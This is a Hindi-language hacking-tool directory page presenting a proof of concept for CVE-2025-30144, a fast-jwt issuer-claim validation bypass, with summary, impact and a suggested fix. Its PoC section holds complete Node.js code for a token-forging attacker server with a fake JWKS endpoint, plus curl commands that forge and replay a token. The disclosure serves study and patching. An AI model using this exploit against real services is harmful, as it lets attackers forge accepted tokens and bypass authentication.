Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-30144 — CVE-2025-30144 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: fast-jwt लाइब्रेरी में JWT जारीकर्ता सत्यापन बाईपास जो हमलावरों को सरणी-आधारित iss दावों के साथ टोकन जाली बनाने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/tibrn/cve-2025-30144
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणAPI सुरक्षा
GitHubtibrn/cve-2025-30144

CVE-2025-30144

CVE-2025-30144 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: fast-jwt लाइब्रेरी में JWT जारीकर्ता सत्यापन बाईपास जो हमलावरों को सरणी-आधारित iss दावों के साथ टोकन जाली बनाने की अनुमति देता है।

रिपॉजिटरी देखें
161 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सारांश

fast-jwt लाइब्रेरी RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 के अनुसार iss क्लेम को सही ढंग से मान्य नहीं करती है।

विवरण

fast-jwt लाइब्रेरी में iss (जारीकर्ता) क्लेम सत्यापन स्ट्रिंग्स की एक सरणी को एक वैध iss मान के रूप में अनुमति देता है। यह डिज़ाइन दोष एक संभावित हमले को सक्षम करता है जहाँ एक दुर्भावनापूर्ण अभिनेता iss क्लेम के साथ एक JWT तैयार करता है जो ['https://attacker-domain/', 'https://valid-iss'] के रूप में संरचित होता है। अनुज्ञेय सत्यापन के कारण, JWT को वैध माना जाएगा।

इसके अलावा, यदि एप्लिकेशन get-jwks जैसी बाहरी लाइब्रेरी पर निर्भर करता है जो स्वतंत्र रूप से iss क्लेम को मान्य नहीं करती हैं, तो हमलावर इस भेद्यता का लाभ उठाकर एक JWT गढ़ सकता है जिसे पीड़ित एप्लिकेशन द्वारा स्वीकार किया जाएगा। अनिवार्य रूप से, हमलावर वैध जारीकर्ता के साथ iss सरणी में अपना स्वयं का डोमेन डाल सकता है और इच्छित सुरक्षा जाँचों को दरकिनार कर सकता है।

प्रमाणीकरण (PoC)

निम्नलिखित कोड चलाने वाला एक सर्वर लें:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

अब हम एक सर्वर बनाते हैं जिसका उपयोग JWT टोकन उत्पन्न करने और सत्यापन कुंजियाँ पीड़ित सर्वर को भेजने के लिए किया जाएगा:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

प्रभाव

fast-jwt द्वारा iss क्लेम के सत्यापन पर निर्भर रहने वाले एप्लिकेशन हमलावरों को मनमाने पेलोड पर हस्ताक्षर करने की अनुमति देते हैं जो सत्यापनकर्ता द्वारा स्वीकार किए जाएंगे।

समाधान

https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 को एक ऐसे वैलिडेटर में बदलें जो मान के लिए केवल स्ट्रिंग स्वीकार करता है जैसा कि RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 में कहा गया है।

टूल डाउनलोड करें